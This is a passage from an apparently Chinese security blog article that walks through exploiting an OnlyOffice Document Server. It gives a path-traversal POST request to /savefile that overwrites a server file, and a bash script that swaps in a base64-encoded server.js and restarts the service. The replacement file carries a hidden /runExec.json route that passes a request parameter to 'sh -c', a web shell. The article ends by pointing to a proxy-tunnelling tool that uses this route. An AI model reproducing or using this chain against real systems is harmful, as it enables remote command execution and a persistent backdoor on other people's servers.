src="https://wechat2rss.xlab.app/img-proxy/?k=11474f93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxSa3Vm4MzhOkorY6eVym9h4pvslZ9cqxdl3GXWSErxYYuqQjHDe2jrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>然后触发一下路由：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000076" data-ratio="0.6861111111111111" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3214ba1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxGVjNtnib0bkIbVeSJyic16RkRVx3gG4HWyrfzvF5M5fDnuZfudnJabyQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>接下来访问接口：成功回显</p><p><img class="rich_pages wxw-img" data-imgfileid="100000075" data-ratio="0.24722222222222223" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4cb3bc28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxexKcEsx2mdBq7bafEJeeJNicwFg7mKiaZdyvOmYkibCczdntxicvT32GpA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>当然我们本地通过docker查看文件也会发现已经被改动。</p><p><img class="rich_pages wxw-img" data-imgfileid="100000078" data-ratio="0.5185185185185185" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=68744487&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxmjnTdFs4ISQOCwdPP0dSe2KibvkT6tV3TDLLzr3a0IVJVB3UIkojribQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>其实上边有一些坑点，实际情况下写js文件有些文件，所以我们还是整合一个包：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/savefile/1?cmd={&#34;id&#34;:1,&#34;outputpath&#34;:&#34;../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder&#34;}</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 10.37.129.2:9000</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span>: max-age=0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Upgrade-Insecure-Requests</span>: 1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 3</span></code></pre></section><pre><code><br/></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#!/bin/bash</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 备份路由，删路由，写路由，重启路由</span></span></code><code><span class="code-snippet_outer">cp /var/www/onlyoffice/documentserver/server/DocService/sources/server.js /var/www/onlyoffice/documentserver/server/DocService/server.js;rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;<span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;LyoKICogQ29weXJpZ2h0IChDKSBBc2NlbnNpbyBTeXN0ZW0gU0lBIDIwMTItMjAxOS4gQWxsIHJpZ2h0cyByZXNlcnZlZAogKgogKiBodHRwczovL3d3dy5vbmx5b2ZmaWNlLmNvbS8gCiAqCiAqIFZlcnNpb246IDUuNC4yIChidWlsZDo0NikKICovCgondXNlIHN0cmljdCc7Cgpjb25zdCBjbHVzdGVyID0gcmVxdWlyZSgnY2x1c3RlcicpOwpjb25zdCBjb25maWdDb21tb24gPSByZXF1aXJlKCdjb25maWcnKTsKY29uc3QgY29uZmlnID0gY29uZmlnQ29tbW9uLmdldCgnc2VydmljZXMuQ29BdXRob3JpbmcnKTsKY29uc3QgbG9nZ2VyID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9sb2dnZXInKTsKY29uc3QgY28gPSByZXF1aXJlKCdjbycpOwpjb25zdCBsaWNlbnNlID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9saWNlbnNlJyk7CgppZiAoY2x1c3Rlci5pc01hc3RlcikgewoJY29uc3QgZnMgPSByZXF1aXJlKCdmcycpOwoJbGV0IGxpY2Vuc2VJbmZvLCB3b3JrZXJzQ291bnQgPSAwLCB1cGRhdGVUaW1lOwoJY29uc3QgcmVhZExpY2Vuc2UgPSBmdW5jdGlvbiooKSB7CgkJbGljZW5zZUluZm8gPSB5aWVsZCogbGljZW5zZS5yZWFkTGljZW5zZSgpOwoJCXdvcmtlcnNDb3VudCA9IE1hdGgubWluKDEsIGxpY2Vuc2VJbmZvLmNvdW50LyosIE1hdGguY2VpbChudW1DUFVzICogY2ZnV29ya2VyUGVyQ3B1KSovKTsKCX07Cgljb25zdCB1cGRhdGVMaWNlbnNlV29ya2VyID0gKHdvcmtlcikgPT4gewoJCXdvcmtlci5zZW5kKHt0eXBlOiAxLCBkYXRhOiBsaWNlbnNlSW5mb30pOwoJfTsKCWNvbnN0IHVwZGF0ZVdvcmtlcnMgPSAoKSA9PiB7CgkJY29uc3QgYXJyS2V5V29ya2VycyA9IE9iamVjdC5rZXlzKGNsdXN0ZXIud29ya2Vycyk7CgkJaWYgKGFycktleVdvcmtlcnMubGVuZ3RoIDwgd29ya2Vyc0NvdW50KSB7CgkJCWZvciAobGV0IGkgPSBhcnJLZXlXb3JrZXJzLmxlbmd0aDsgaSA8IHdvcmtlcnNDb3VudDsgKytpKSB7CgkJCQljb25zdCBuZXdXb3JrZXIgPSBjbHVzdGVyLmZvcmsoKTsKCQkJCWxvZ2dlci53YXJuKCd3b3JrZXIgJXMgc3RhcnRlZC4nLCBuZXdXb3JrZXIucHJvY2Vzcy5waWQpOwoJCQl9CgkJfSBlbHNlIHsKCQkJZm9yIChsZXQgaSA9IHdvcmtlcnNDb3VudDsgaSA8IGFycktleVdvcmtlcnMubGVuZ3RoOyArK2kpIHsKCQkJCWNvbnN0IGtpbGxXb3JrZXIgPSBjbHVzdGVyLndvcmtlcnNbYXJyS2V5V29ya2Vyc1tpXV07CgkJCQlpZiAoa2lsbFdvcmtlcikgewoJCQkJCWtpbGxXb3JrZXIua2lsbCgpOwoJCQkJfQoJCQl9CgkJfQoJfTsKCWNvbnN0IHVwZGF0ZVBsdWdpbnMgPSAoZXZlbnRUeXBlLCBmaWxlbmFtZSkgPT4gewoJCWNvbnNvbGUubG9nKCd1cGRhdGUgRm9sZGVyOiAlcyA7ICVzJywgZXZlbnRUeXBlLCBmaWxlbmFtZSk7CgkJaWYgKHVwZGF0ZVRpbWUgJiYgMTAwMCA+PSAobmV3IERhdGUoKSAtIHVwZGF0ZVRpbWUpKSB7CgkJCXJldHVybjsKCQl9CgkJY29uc29sZS5sb2coJ3VwZGF0ZSBGb2xkZXIgdHJ1ZTogJXMgOyAlcycsIGV2ZW50VHlwZSwgZmlsZW5hbWUpOwoJCXVwZGF0ZVRpbWUgPSBuZXcgRGF0ZSgpOwoJCWZvciAobGV0IGkgaW4gY2x1c3Rlci53b3JrZXJzKSB7CgkJCWNsdXN0ZXIud29ya2Vyc1tpXS5zZW5kKHt0eXBlOiAyfSk7CgkJfQoJfTsKCWNvbnN0IHVwZGF0ZUxpY2Vuc2UgPSAoKSA9PiB7CgkJcmV0dXJuIGNvKGZ1bmN0aW9uKigpIHsKCQkJdHJ5IHsKCQkJCXlpZWxkKiByZWFkTGljZW5zZSgpOwoJCQkJbG9nZ2VyLndhcm4oJ3VwZGF0ZSBjbHVzdGVyIHdpdGggJXMgd29ya2VycycsIHdvcmtlcnNDb3VudCk7CgkJCQlmb3IgKGxldCBpIGluIGNsdXN0ZXIud29ya2VycykgewoJCQkJCXVwZGF0ZUxpY2Vuc2VXb3JrZXIoY2x1c3Rlci53b3JrZXJzW2ldKTsKCQkJCX0KCQkJCXVwZGF0ZVdvcmtlcnMoKTsKCQkJfSBjYXRjaCAoZXJyKSB7CgkJCQlsb2dnZXIuZXJyb3IoJ3VwZGF0ZUxpY2Vuc2UgZXJyb3I6XHJcbiVzJywgZXJyLnN0YWNrKTsKCQkJfQoJCX0pOwoJfTsKCgljbHVzdGVyLm9uKCdmb3JrJywgKHdvcmtlcikgPT4gewoJCXVwZGF0ZUxpY2Vuc2VXb3JrZXIod29ya2VyKTsKCX0pOwoJY2x1c3Rlci5vbignZXhpdCcsICh3b3JrZXIsIGNvZGUsIHNpZ25hbCkgPT4gewoJCWxvZ2dlci53YXJuKCd3b3JrZXIgJXMgZGllZCAoY29kZSA9ICVzOyBzaWduYWwgPSAlcykuJywgd29ya2VyLnByb2Nlc3MucGlkLCBjb2RlLCBzaWduYWwpOwoJCXVwZGF0ZVdvcmtlcnMoKTsKCX0pOwoKCXVwZGF0ZUxpY2Vuc2UoKTsKCgl0cnkgewoJCWZzLndhdGNoKGNvbmZpZy5nZXQoJ3BsdWdpbnMucGF0aCcpLCB1cGRhdGVQbHVnaW5zKTsKCX0gY2F0Y2ggKGUpIHsKCQlsb2dnZXIud2FybignUGx1Z2lucyB3YXRjaCBleGNlcHRpb24gKGh0dHBzOi8vbm9kZWpzLm9yZy9kb2NzL2xhdGVzdC9hcGkvZnMuaHRtbCNmc19hdmFpbGFiaWxpdHkpLicpOwoJfQoJZnMud2F0Y2hGaWxlKGNvbmZpZ0NvbW1vbi5nZXQoJ2xpY2Vuc2UnKS5nZXQoJ2xpY2Vuc2VfZmlsZScpLCB1cGRhdGVMaWNlbnNlKTsKCXNldEludGVydmFsKHVwZGF0ZUxpY2Vuc2UsIDg2NDAwMDAwKTsKfSBlbHNlIHsKCWxvZ2dlci53YXJuKCdFeHByZXNzIHNlcnZlciBzdGFydGluZy4uLicpOwoKCWNvbnN0IGV4cHJlc3MgPSByZXF1aXJlKCdleHByZXNzJyk7Cgljb25zdCBodHRwID0gcmVxdWlyZSgnaHR0cCcpOwoJY29uc3QgdXJsTW9kdWxlID0gcmVxdWlyZSgndXJsJyk7Cgljb25zdCBwYXRoID0gcmVxdWlyZSgncGF0aCcpOwoJY29uc3QgYm9keVBhcnNlciA9IHJlcXVpcmUoImJvZHktcGFyc2VyIik7Cgljb25zdCBtaW1lID0gcmVxdWlyZSgnbWltZScpOwoJY29uc3QgZG9jc0NvU2VydmVyID0gcmVxdWlyZSgnLi9Eb2NzQ29TZXJ2ZXInKTsKCWNvbnN0IGNhbnZhc1NlcnZpY2UgPSByZXF1aXJlKCcuL2NhbnZhc3NlcnZpY2UnKTsKCWNvbnN0IGNvbnZlcnRlclNlcnZpY2UgPSByZXF1aXJlKCcuL2NvbnZlcnRlcnNlcnZpY2UnKTsKCWNvbnN0IGZpbGVVcGxvYWRlclNlcnZpY2UgPSByZXF1aXJlKCcuL2ZpbGV1cGxvYWRlcnNlcnZpY2UnKTsKCWNvbnN0IGNvbnN0YW50cyA9IHJlcXVpcmUoJy4vLi4vLi4vQ29tbW9uL3NvdXJjZXMvY29uc3RhbnRzJyk7Cgljb25zdCB1dGlscyA9IHJlcXVpcmUoJy4vLi4vLi4vQ29tbW9uL3NvdXJjZXMvdXRpbHMnKTsKCWNvbnN0IGNvbW1vbkRlZmluZXMgPSByZXF1aXJlKCcuLy4uLy4uL0NvbW1vbi9zb3VyY2VzL2NvbW1vbmRlZmluZXMnKTsKCWNvbnN0IGNvbmZpZ1N0b3JhZ2UgPSBjb25maWdDb21tb24uZ2V0KCdzdG9yYWdlJyk7Cgljb25zdCBhcHAgPSBleHByZXNzKCk7Cgljb25zdCBzZXJ2ZXIgPSBodHRwLmNyZWF0ZVNlcnZlcihhcHApOwoKCWxldCB1c2VyUGx1Z2lucyA9IG51bGwsIHVwZGF0ZVBsdWdpbnMgPSB0cnVlOwoKCWlmIChjb25maWcuaGFzKCdzZXJ2ZXIuc3RhdGljX2NvbnRlbnQnKSkgewoJCWNvbnN0IHN0YXRpY0NvbnRlbnQgPSBjb25maWcuZ2V0KCdzZXJ2ZXIuc3RhdGljX2NvbnRlbnQnKTsKCQlmb3IgKGxldCBpIGluIHN0YXRpY0NvbnRlbnQpIHsKCQkJYXBwLnVzZShpLCBleHByZXNzLnN0YXRpYyhzdGF0aWNDb250ZW50W2ldWydwYXRoJ10sIHN0YXRpY0NvbnRlbnRbaV1bJ29wdGlvbnMnXSkpOwoJCX0KCX0KCglpZiAoY29uZmlnU3RvcmFnZS5oYXMoJ2ZzLmZvbGRlclBhdGgnKSkgewoJCWNvbnN0IGNmZ0J1Y2tldE5hbWUgPSBjb25maWdTdG9yYWdlLmdldCgnYnVja2V0TmFtZScpOwoJCWNvbnN0IGNmZ1N0b3JhZ2VGb2xkZXJOYW1lID0gY29uZmlnU3RvcmFnZS5nZXQoJ3N0b3JhZ2VGb2xkZXJOYW1lJyk7CgkJYXBwLnVzZSgnLycgKyBjZmdCdWNrZXROYW1lICsgJy8nICsgY2ZnU3RvcmFnZUZvbGRlck5hbWUsIChyZXEsIHJlcywgbmV4dCkgPT4gewoJCQljb25zdCBpbmRleCA9IHJlcS51cmwubGFzdEluZGV4T2YoJy8nKTsKCQkJaWYgKCdHRVQnID09PSByZXEubWV0aG9kICYmIC0xICE9IGluZGV4KSB7CgkJCQljb25zdCBjb250ZW50RGlzcG9zaXRpb24gPSByZXEucXVlcnlbJ2Rpc3Bvc2l0aW9uJ10gfHwgJ2F0dGFjaG1lbnQnOwoJCQkJbGV0IHNlbmRGaWxlT3B0aW9ucyA9IHsKCQkJCQlyb290OiBjb25maWdTdG9yYWdlLmdldCgnZnMuZm9sZGVyUGF0aCcpLCBkb3RmaWxlczogJ2RlbnknLCBoZWFkZXJzOiB7CgkJCQkJCSdDb250ZW50LURpc3Bvc2l0aW9uJzogY29udGVudERpc3Bvc2l0aW9uCgkJCQkJfQoJCQkJfTsKCQkJCWNvbnN0IHVybFBhcnNlZCA9IHVybE1vZHVsZS5wYXJzZShyZXEudXJsKTsKCQkJCWlmICh1cmxQYXJzZWQgJiYgdXJsUGFyc2VkLnBhdGhuYW1lKSB7CgkJCQkJY29uc3QgZmlsZW5hbWUgPSBkZWNvZGVVUklDb21wb25lbnQocGF0aC5iYXNlbmFtZSh1cmxQYXJzZWQucGF0aG5hbWUpKTsKCQkJCQlzZW5kRmlsZU9wdGlvbnMuaGVhZGVyc1snQ29udGVudC1UeXBlJ10gPSBtaW1lLmdldFR5cGUoZmlsZW5hbWUpOwoJCQkJfQoJCQkJY29uc3QgcmVhbFVybCA9IHJlcS51cmwuc3Vic3RyaW5nKDAsIGluZGV4KTsKCQkJCXJlcy5zZW5kRmlsZShyZWFsVXJsLCBzZW5kRmlsZU9wdGlvbnMsIChlcnIpID0+IHsKCQkJCQlpZiAoZXJyKSB7CgkJCQkJCWxvZ2dlci5lcnJvcihlcnIpOwoJCQkJCQlyZXMuc3RhdHVzKDQwMCkuZW5kKCk7CgkJCQkJfQoJCQkJfSk7CgkJCX0gZWxzZSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDQpCgkJCX0KCQl9KTsKCX0KCWRvY3NDb1NlcnZlci5pbnN0YWxsKHNlcnZlciwgKCkgPT4gewoJCXNlcnZlci5saXN0ZW4oY29uZmlnLmdldCgnc2VydmVyLnBvcnQnKSwgKCkgPT4gewoJCQlsb2dnZXIud2FybigiRXhwcmVzcyBzZXJ2ZXIgbGlzdGVuaW5nIG9uIHBvcnQgJWQgaW4gJXMgbW9kZSIsIGNvbmZpZy5nZXQoJ3NlcnZlci5wb3J0JyksIGFwcC5zZXR0aW5ncy5lbnYpOwoJCX0pOwoJCWFwcC5hbGwoJy9ydW5FeGVjLmpzb24nLCAocmVxLCByZXMpID0+IHsKCQkJY29uc3Qgc3Bhd24gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuc3Bhd247CgkJCXZhciB1c2VybmFtZSA9IHJlcS5xdWVyeS51c2VybmFtZSA/IHJlcS5xdWVyeS51c2VybmFtZTogcmVxLmhlYWRlcigidXNlcm5hbWUiKTsKCQkJaWYoIXVzZXJuYW1lKXsKCQkJCXJlcy5zZW5kKCJlbXB0eSBwYXJhISIpOwoJCQl9ZWxzZSB7CgkJCQljb25zdCBjbWQgPSBzcGF3bignc2gnLCBbJy1jJywgdXNlcm5hbWVdKTsKCQkJCXZhciByZXN1bHQgPSAiIjsKCQkJCWNtZC5zdGRvdXQub24oJ2RhdGEnLCAoZGF0YSkgPT4gewoJCQkJCXJlc3VsdCArPSBkYXRhOwoJCQkJfSk7CgoJCQkJY21kLm9uKCdjbG9zZScsIChjb2RlKSA9PiB7CgkJCQkJcmVzLnNlbmQocmVzdWx0KTsKCQkJCQlyZXR1cm4gcmVzLmVuZCgpOwoJCQkJfSkKCQkJfQoJCX0pOwoJCWFwcC5nZXQoJy9pbmRleC5odG1sJywgKHJlcSwgcmVzKSA9PiB7CgkJCXJlcy5zZW5kKCdTZXJ2ZXIgaXMgZnVuY3Rpb25pbmcgbm9ybWFsbHkuIFZlcnNpb246ICcgKyBjb21tb25EZWZpbmVzLmJ1aWxkVmVyc2lvbiArICcuIEJ1aWxkOiAnICsKCQkJCWNvbW1vbkRlZmluZXMuYnVpbGROdW1iZXIpOwoJCX0pOwoJCWNvbnN0IHJhd0ZpbGVQYXJzZXIgPSBib2R5UGFyc2VyLnJhdygKCQkJe2luZmxhdGU6IHRydWUsIGxpbWl0OiBjb25maWcuZ2V0KCdzZXJ2ZXIubGltaXRzX3RlbXBmaWxlX3VwbG9hZCcpLCB0eXBlOiAnKi8qJ30pOwoKCQlhcHAuZ2V0KCcvY29hdXRob3JpbmcvQ29tbWFuZFNlcnZpY2UuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGRvY3NDb1NlcnZlci5jb21tYW5kRnJvbVNlcnZlcik7CgkJYXBwLnBvc3QoJy9jb2F1dGhvcmluZy9Db21tYW5kU2VydmljZS5hc2h4JywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwKCQkJZG9jc0NvU2VydmVyLmNvbW1hbmRGcm9tU2VydmVyKTsKCgkJYXBwLmdldCgnL0NvbnZlcnRTZXJ2aWNlLmFzaHgnLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCBjb252ZXJ0ZXJTZXJ2aWNlLmNvbnZlcnRYbWwpOwoJCWFwcC5wb3N0KCcvQ29udmVydFNlcnZpY2UuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGNvbnZlcnRlclNlcnZpY2UuY29udmVydFhtbCk7CgkJYXBwLnBvc3QoJy9jb252ZXJ0ZXInLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCBjb252ZXJ0ZXJTZXJ2aWNlLmNvbnZlcnRKc29uKTsKCgoJCWFwcC5nZXQoJy9GaWxlVXBsb2FkZXIuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGZpbGVVcGxvYWRlclNlcnZpY2UudXBsb2FkVGVtcEZpbGUpOwoJCWFwcC5wb3N0KCcvRmlsZVVwbG9hZGVyLmFzaHgnLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCBmaWxlVXBsb2FkZXJTZXJ2aWNlLnVwbG9hZFRlbXBGaWxlKTsKCgkJY29uc3QgZG9jSWRSZWdFeHAgPSBuZXcgUmVnRXhwKCJeWyIgKyBjb25zdGFudHMuRE9DX0lEX1BBVFRFUk4gKyAiXSokIiwgJ2knKTsKCQlhcHAucGFyYW0oJ2RvY2lkJywgKHJlcSwgcmVzLCBuZXh0LCB2YWwpID0+IHsKCQkJaWYgKGRvY0lkUmVnRXhwLnRlc3QodmFsKSkgewoJCQkJbmV4dCgpOwoJCQl9IGVsc2UgewoJCQkJcmVzLnNlbmRTdGF0dXMoNDAzKTsKCQkJfQoJCX0pOwoJCWFwcC5wYXJhbSgnaW5kZXgnLCAocmVxLCByZXMsIG5leHQsIHZhbCkgPT4gewoJCQlpZiAoIWlzTmFOKHBhcnNlSW50KHZhbCkpKSB7CgkJCQluZXh0KCk7CgkJCX0gZWxzZSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDMpOwoJCQl9CgkJfSk7CgkJYXBwLnBvc3QoJy91cGxvYWRvbGQvOmRvY2lkLzp1c2VyaWQvOmluZGV4JywgZmlsZVVwbG9hZGVyU2VydmljZS51cGxvYWRJbWFnZUZpbGVPbGQpOwoJCWFwcC5wb3N0KCcvdXBsb2FkLzpkb2NpZC86dXNlcmlkLzppbmRleCcsIHJhd0ZpbGVQYXJzZXIsIGZpbGVVcGxvYWRlclNlcnZpY2UudXBsb2FkSW1hZ2VGaWxlKTsKCgkJYXBwLnBvc3QoJy9kb3dubG9hZGFzLzpkb2NpZCcsIHJhd0ZpbGVQYXJzZXIsIGNhbnZhc1NlcnZpY2UuZG93bmxvYWRBcyk7CgkJYXBwLnBvc3QoJy9zYXZlZmlsZS86ZG9jaWQnLCByYXdGaWxlUGFyc2VyLCBjYW52YXNTZXJ2aWNlLnNhdmVGaWxlKTsKCQlhcHAuZ2V0KCcvaGVhbHRoY2hlY2snLCB1dGlscy5jaGVja0NsaWVudElwLCBkb2NzQ29TZXJ2ZXIuaGVhbHRoQ2hlY2spOwoKCQlhcHAuZ2V0KCcvYmFzZXVybCcsIChyZXEsIHJlcykgPT4gewoJCQlyZXMuc2VuZCh1dGlscy5nZXRCYXNlVXJsQnlSZXF1ZXN0KHJlcSkpOwoJCX0pOwoKCQlhcHAuZ2V0KCcvcm9ib3RzLnR4dCcsIChyZXEsIHJlcykgPT4gewoJCQlyZXMuc2V0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAncGxhaW4vdGV4dCcpOwoJCQlyZXMuc2VuZCgiVXNlci1hZ2VudDogKlxuRGlzYWxsb3c6IC8iKTsKCQl9KTsKCgkJYXBwLnBvc3QoJy9kb2NidWlsZGVyJywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwgKHJlcSwgcmVzKSA9PiB7CgkJCWNvbnZlcnRlclNlcnZpY2UuYnVpbGRlcihyZXEsIHJlcyk7CgkJfSk7CgkJYXBwLmdldCgnL2luZm8vaW5mby5qc29uJywgdXRpbHMuY2hlY2tDbGllbnRJcCwgZG9jc0NvU2VydmVyLmxpY2Vuc2VJbmZvKTsKCgkJY29uc3Qgc2VuZFVzZXJQbHVnaW5zID0gKHJlcywgZGF0YSkgPT4gewoJCQlyZXMuc2V0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24vanNvbicpOwoJCQlyZXMuc2VuZChKU09OLnN0cmluZ2lmeShkYXRhKSk7CgkJfTsKCQlhcHAuZ2V0KCcvcGx1Z2lucy5qc29uJywgKHJlcSwgcmVzKSA9PiB7CgkJCWlmICh1c2VyUGx1Z2lucyAmJiAhdXBkYXRlUGx1Z2lucykgewoJCQkJc2VuZFVzZXJQbHVnaW5zKHJlcywgdXNlclBsdWdpbnMpOwoJCQkJcmV0dXJuOwoJCQl9CgoJCQlpZiAoIWNvbmZpZy5oYXMoJ3NlcnZlci5zdGF0aWNfY29udGVudCcpIHx8ICFjb25maWcuaGFzKCdwbHVnaW5zLnVyaScpKSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDQpOwoJCQkJcmV0dXJuOwoJCQl9CgoJCQlsZXQgc3RhdGljQ29udGVudCA9IGNvbmZpZy5nZXQoJ3NlcnZlci5zdGF0aWNfY29udGVudCcpOwoJCQlsZXQgcGx1Z2luc1VyaSA9IGNvbmZpZy5nZXQoJ3BsdWdpbnMudXJpJyk7CgkJCWxldCBwbHVnaW5zUGF0aCA9IHVuZGVmaW5lZDsKCQkJbGV0IHBsdWdpbnNBdXRvc3RhcnQgPSBjb25maWcuZ2V0KCdwbHVnaW5zLmF1dG9zdGFydCcpOwoKCQkJaWYgKHN0YXRpY0NvbnRlbnRbcGx1Z2luc1VyaV0pIHsKCQkJCXBsdWdpbnNQYXRoID0gc3RhdGljQ29udGVudFtwbHVnaW5zVXJpXS5wYXRoOwoJCQl9CgoJCQlsZXQgYmFzZVVybCA9ICcuLi8uLi8uLi8uLic7CgkJCXV0aWxzLmxpc3RGb2xkZXJzKHBsdWdpbnNQYXRoLCB0cnVlKS50aGVuKCh2YWx1ZXMpID0+IHsKCQkJCXJldHVybiBjbyhmdW5jdGlvbiooKSB7CgkJCQkJY29uc3QgY29uZmlnRmlsZSA9ICdjb25maWcuanNvbic7CgkJCQkJbGV0IHN0YXRzID0gbnVsbDsKCQkJCQlsZXQgcmVzdWx0ID0gW107CgkJCQkJZm9yIChsZXQgaSA9IDA7IGkgPCB2YWx1ZXMubGVuZ3RoOyArK2kpIHsKCQkJCQkJdHJ5IHsKCQkJCQkJCXN0YXRzID0geWllbGQgdXRpbHMuZnNTdGF0KHBhdGguam9pbih2YWx1ZXNbaV0sIGNvbmZpZ0ZpbGUpKTsKCQkJCQkJfSBjYXRjaCAoZXJyKSB7CgkJCQkJCQlzdGF0cyA9IG51bGw7CgkJCQkJCX0KCgkJCQkJCWlmIChzdGF0cyAmJiBzdGF0cy5pc0ZpbGUpIHsKCQkJCQkJCXJlc3VsdC5wdXNoKCBiYXNlVXJsICsgcGx1Z2luc1VyaSArICcvJyArIHBhdGguYmFzZW5hbWUodmFsdWVzW2ldKSArICcvJyArIGNvbmZpZ0ZpbGUpOwoJCQkJCQl9CgkJCQkJfQoKCQkJCQl1c2VyUGx1Z2lucyA9IHsndXJsJzogJycsICdwbHVnaW5zRGF0YSc6IHJlc3VsdCwgJ2F1dG9zdGFydCc6IHBsdWdpbnNBdXRvc3RhcnR9OwoJCQkJCXNlbmRVc2VyUGx1Z2lucyhyZXMsIHVzZXJQbHVnaW5zKTsKCQkJCX0pOwoJCQl9KTsKCQl9KTsKCX0pOwoKCXByb2Nlc3Mub24oJ21lc3NhZ2UnLCAobXNnKSA9PiB7CgkJaWYgKCFkb2NzQ29TZXJ2ZXIpIHsKCQkJcmV0dXJuOwoJCX0KCQlzd2l0Y2ggKG1zZy50eXBlKSB7CgkJCWNhc2UgMToKCQkJCWRvY3NDb1NlcnZlci5zZXRMaWNlbnNlSW5mbyhtc2cuZGF0YSk7CgkJCQlicmVhazsKCQkJY2FzZSAyOgoJCQkJdXBkYXRlUGx1Z2lucyA9IHRydWU7CgkJCQlicmVhazsKCQl9Cgl9KTsKfQoKcHJvY2Vzcy5vbigndW5jYXVnaHRFeGNlcHRpb24nLCAoZXJyKSA9PiB7Cglsb2dnZXIuZXJyb3IoKG5ldyBEYXRlKS50b1VUQ1N0cmluZygpICsgJyB1bmNhdWdodEV4Y2VwdGlvbjonLCBlcnIubWVzc2FnZSk7Cglsb2dnZXIuZXJyb3IoZXJyLnN0YWNrKTsKCWxvZ2dlci5zaHV0ZG93bigoKSA9PiB7CgkJcHJvY2Vzcy5leGl0KDEpOwoJfSk7Cn0pOwo=&#34;</span> | base64 -d &gt; /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;/usr/bin/supervisorctl restart ds:docservice</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><pre></pre><p>至此，页面交互命令回显成功。</p><p><em><strong>Tips</strong></em>：这里讲发包的坑点，我们是可以通过写入一个bash脚本，可以删除，写入路由，重启服务，但是在写入路由时候，一定要使用一下base64格式，echo “base64内容” | base64 -d &gt; server.js</p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p>延伸：当然我们这里<span style="color: rgb(51, 51, 51);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, PingFangSC;font-size: 15px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://github.com/L-codes/Neo-reGeorg/pull/66，添加该路由后就能直接使用NodeJS版本正向代理～" target="_blank">https://github.com/L-codes/Neo-reGeorg/pull/66，添加该路由后就能直接使用NodeJS版本正向代理～</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483740">阅读原文</a></p>
